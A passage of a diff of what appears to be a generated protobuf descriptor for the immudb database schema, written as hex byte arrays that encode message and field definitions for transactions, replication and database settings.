0x70, 0x65, 0x63, - 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x54, 0x79, 0x70, 0x65, - 0x53, 0x70, 0x65, 0x63, 0x52, 0x0c, 0x7a, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, - 0x65, 0x63, 0x12, 0x44, 0x0a, 0x0e, 0x73, 0x71, 0x6c, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, - 0x53, 0x70, 0x65, 0x63, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, - 0x54, 0x79, 0x70, 0x65, 0x53, 0x70, 0x65, 0x63, 0x52, 0x0e, 0x73, 0x71, 0x6c, 0x45, 0x6e, 0x74, - 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x22, 0x47, 0x0a, 0x0d, 0x45, 0x6e, 0x74, 0x72, - 0x79, 0x54, 0x79, 0x70, 0x65, 0x53, 0x70, 0x65, 0x63, 0x12, 0x36, 0x0a, 0x06, 0x61, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x12, + 0x3a, 0x0a, 0x18, 0x6b, 0x65, 0x65, 0x70, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, + 0x73, 0x55, 0x6e, 0x72, 0x65, 0x73, 0x6f, 0x6c, 0x76, 0x65, 0x64, 0x18, 0x05, 0x20, 0x01, 0x28, + 0x08, 0x52, 0x18, 0x6b, 0x65, 0x65, 0x70, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, + 0x73, 0x55, 0x6e, 0x72, 0x65, 0x73, 0x6f, 0x6c, 0x76, 0x65, 0x64, 0x22, 0xd9, 0x01, 0x0a, 0x0b, + 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x12, 0x42, 0x0a, 0x0d, 0x6b, + 0x76, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x54, 0x79, 0x70, 0x65, 0x53, 0x70, 0x65, 0x63, + 0x52, 0x0d, 0x6b, 0x76, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x12, + 0x40, 0x0a, 0x0c, 0x7a, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x54, 0x79, 0x70, 0x65, 0x53, + 0x70, 0x65, 0x63, 0x52, 0x0c, 0x7a, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, + 0x63, 0x12, 0x44, 0x0a, 0x0e, 0x73, 0x71, 0x6c, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, + 0x70, 0x65, 0x63, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x54, - 0x79, 0x70, 0x65, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x06, 0x61, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x22, 0xf5, 0x01, 0x0a, 0x13, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, - 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x0e, 0x0a, 0x02, 0x74, 0x78, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x02, 0x74, 0x78, 0x12, 0x22, 0x0a, 0x0c, 0x70, 0x72, 0x6f, - 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, - 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, 0x3c, 0x0a, - 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x18, 0x03, 0x20, 0x01, - 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x52, 0x0b, - 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x12, 0x18, 0x0a, 0x07, 0x73, - 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, - 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, - 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x12, 0x3a, 0x0a, - 0x18, 0x6b, 0x65, 0x65, 0x70, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x73, 0x55, - 0x6e, 0x72, 0x65, 0x73, 0x6f, 0x6c, 0x76, 0x65, 0x64, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, - 0x18, 0x6b, 0x65, 0x65, 0x70, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x73, 0x55, - 0x6e, 0x72, 0x65, 0x73, 0x6f, 0x6c, 0x76, 0x65, 0x64, 0x22, 0xc7, 0x01, 0x0a, 0x0d, 0x54, 0x78, - 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1c, 0x0a, 0x09, 0x69, - 0x6e, 0x69, 0x74, 0x69, 0x61, 0x6c, 0x54, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x09, - 0x69, 0x6e, 0x69, 0x74, 0x69, 0x61, 0x6c, 0x54, 0x78, 0x12, 0x14, 0x0a, 0x05, 0x6c, 0x69, 0x6d, - 0x69, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x12, - 0x12, 0x0a, 0x04, 0x64, 0x65, 0x73, 0x63, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x64, - 0x65, 0x73, 0x63, 0x12, 0x3c, 0x0a, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, - 0x65, 0x63, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, - 0x53, 0x70, 0x65, 0x63, 0x52, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, - 0x63, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x05, 0x20, 0x01, - 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, 0x16, 0x0a, 0x06, 0x6e, - 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, - 0x61, 0x69, 0x74, 0x22, 0x2d, 0x0a, 0x06, 0x54, 0x78, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x23, 0x0a, - 0x03, 0x74, 0x78, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x52, 0x03, 0x74, - 0x78, 0x73, 0x22, 0x90, 0x01, 0x0a, 0x0f, 0x45, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x78, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x0e, 0x0a, 0x02, 0x74, 0x78, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x04, 0x52, 0x02, 0x74, 0x78, 0x12, 0x2c, 0x0a, 0x11, 0x61, 0x6c, 0x6c, 0x6f, 0x77, 0x50, - 0x72, 0x65, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, - 0x08, 0x52, 0x11, 0x61, 0x6c, 0x6c, 0x6f, 0x77, 0x50, 0x72, 0x65, 0x43, 0x6f, 0x6d, 0x6d, 0x69, - 0x74, 0x74, 0x65, 0x64, 0x12, 0x3f, 0x0a, 0x0c, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x53, - 0x74, 0x61, 0x74, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x52, 0x65, 0x70, 0x6c, 0x69, - 0x63, 0x61, 0x53, 0x74, 0x61, 0x74, 0x65, 0x52, 0x0c, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, - 0x53, 0x74, 0x61, 0x74, 0x65, 0x22, 0xc2, 0x01, 0x0a, 0x0c, 0x52, 0x65, 0x70, 0x6c, 0x69, 0x63, - 0x61, 0x53, 0x74, 0x61, 0x74, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x55, 0x55, 0x49, 0x44, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x55, 0x55, 0x49, 0x44, 0x12, 0x24, 0x0a, 0x0d, 0x63, 0x6f, - 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, - 0x04, 0x52, 0x0d, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, 0x49, 0x44, - 0x12, 0x22, 0x0a, 0x0c, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x41, 0x6c, 0x68, - 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0c, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, - 0x64, 0x41, 0x6c, 0x68, 0x12, 0x2a, 0x0a, 0x10, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x6d, 0x69, - 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, 0x49, 0x44, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x10, - 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, 0x49, 0x44, - 0x12, 0x28, 0x0a, 0x0f, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, - 0x41, 0x6c, 0x68, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0f, 0x70, 0x72, 0x65, 0x63, 0x6f, - 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x41, 0x6c, 0x68, 0x22, 0x2e, 0x0a, 0x08, 0x44, 0x61, - 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, - 0x73, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x64, 0x61, - 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0xc0, 0x03, 0x0a, 0x10, 0x44, - 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, - 0x22, 0x0a, 0x0c, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, - 0x61, 0x6d, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x18, 0x02, - 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x12, 0x28, 0x0a, - 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, - 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x44, - 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, - 0x72, 0x79, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x70, 0x72, - 0x69, 0x6d, 0x61, 0x72, 0x79, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x20, 0x0a, 0x0b, 0x70, 0x72, 0x69, - 0x6d, 0x61, 0x72, 0x79, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, - 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x28, 0x0a, 0x0f, 0x70, - 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x06, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x55, 0x73, 0x65, - 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, - 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0f, - 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, - 0x1a, 0x0a, 0x08, 0x66, 0x69, 0x6c, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x08, 0x20, 0x01, 0x28, - 0x0d, 0x52, 0x08, 0x66, 0x69, 0x6c, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x6d, - 0x61, 0x78, 0x4b, 0x65, 0x79, 0x4c, 0x65, 0x6e, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x09, - 0x6d, 0x61, 0x78, 0x4b, 0x65, 0x79, 0x4c, 0x65, 0x6e, 0x12, 0x20, 0x0a, 0x0b, 0x6d, 0x61, 0x78, - 0x56, 0x61, 0x6c, 0x75, 0x65, 0x4c, 0x65, 0x6e, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, - 0x6d, 0x61, 0x78, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x4c, 0x65, 0x6e, 0x12, 0x22, 0x0a, 0x0c, 0x6d, - 0x61, 0x78, 0x54, 0x78, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x18, 0x0b, 0x20, 0x01, 0x28, - 0x0d, 0x52, 0x0c, 0x6d, 0x61, 0x78, 0x54, 0x78, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x12, - 0x2c, 0x0a, 0x11, 0x65, 0x78, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, - 0x54, 0x69, 0x6d, 0x65, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x08, 0x52, 0x11, 0x65, 0x78, 0x63, 0x6c, - 0x75, 0x64, 0x65, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x54, 0x69, 0x6d, 0x65, 0x22, 0x92, 0x01, - 0x0a, 0x15, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x43, 0x0a, 0x08, 0x73, - 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x27, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, - 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, - 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, - 0x12, 0x20, 0x0a, 0x0b, 0x69, 0x66, 0x4e, 0x6f, 0x74, 0x45, 0x78, 0x69, 0x73, 0x74, 0x73, 0x18, - 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x69, 0x66, 0x4e, 0x6f, 0x74, 0x45, 0x78, 0x69, 0x73, - 0x74, 0x73, 0x22, 0x99, 0x01, 0x0a, 0x16, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, - 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x12, 0x0a, - 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, - 0x65, 0x12, 0x43, 0x0a, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x02, 0x20, - 0x01, 0x28, 0x0b, 0x32, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, 0x6c, 0x6c, - 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x08, 0x73, 0x65, - 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x26, 0x0a, 0x0e, 0x61, 0x6c, 0x72, 0x65, 0x61, 0x64, - 0x79, 0x45, 0x78, 0x69, 0x73, 0x74, 0x65, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0e, - 0x61, 0x6c, 0x72, 0x65, 0x61, 0x64, 0x79, 0x45, 0x78, 0x69, 0x73, 0x74, 0x65, 0x64, 0x22, 0x78, - 0x0a, 0x15, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, - 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, - 0x61, 0x73, 0x65, 0x12, 0x43, 0x0a, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, - 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, - 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x08, - 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x22, 0x79, 0x0a, 0x16, 0x55, 0x70, 0x64, 0x61, - 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, - 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x43, - 0x0a, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, - 0x32, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, - 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, - 0x6e, 0x67, 0x73, 0x22, 0x19, 0x0a, 0x17, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, - 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x7b, - 0x0a, 0x18, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, - 0x67, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, - 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, - 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x43, 0x0a, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, - 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, - 0x65, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, - 0x73, 0x52, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x22, 0x26, 0x0a, 0x0e, 0x4e, - 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x12, 0x14, 0x0a, - 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x76, 0x61, - 0x6c, 0x75, 0x65, 0x22, 0x26, 0x0a, 0x0e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, - 0x69, 0x6e, 0x74, 0x36, 0x34, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x04, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x25, 0x0a, 0x0d, 0x4e, - 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x46, 0x6c, 0x6f, 0x61, 0x74, 0x12, 0x14, 0x0a, 0x05, - 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x02, 0x52, 0x05, 0x76, 0x61, 0x6c, - 0x75, 0x65, 0x22, 0x24, 0x0a, 0x0c, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, - 0x6f, 0x6c, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x08, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x26, 0x0a, 0x0e, 0x4e, 0x75, 0x6c, 0x6c, - 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, - 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, - 0x22, 0x2c, 0x0a, 0x14, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x4d, 0x69, 0x6c, 0x6c, - 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, - 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x03, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x8a, - 0x0b, 0x0a, 0x18, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, 0x6c, 0x6c, 0x61, - 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x5c, 0x0a, 0x13, 0x72, - 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, - 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x2a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x52, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, - 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, - 0x69, 0x6e, 0x67, 0x73, 0x52, 0x13, 0x72, 